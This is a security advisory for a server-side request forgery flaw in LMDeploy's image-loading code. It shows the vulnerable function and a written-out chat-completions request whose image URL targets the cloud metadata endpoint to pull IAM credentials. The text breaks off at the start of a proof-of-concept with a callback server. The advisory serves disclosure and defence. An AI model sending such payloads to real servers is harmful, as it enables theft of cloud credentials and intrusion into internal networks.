GHSA-6w67-hwm5-92mq

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL:...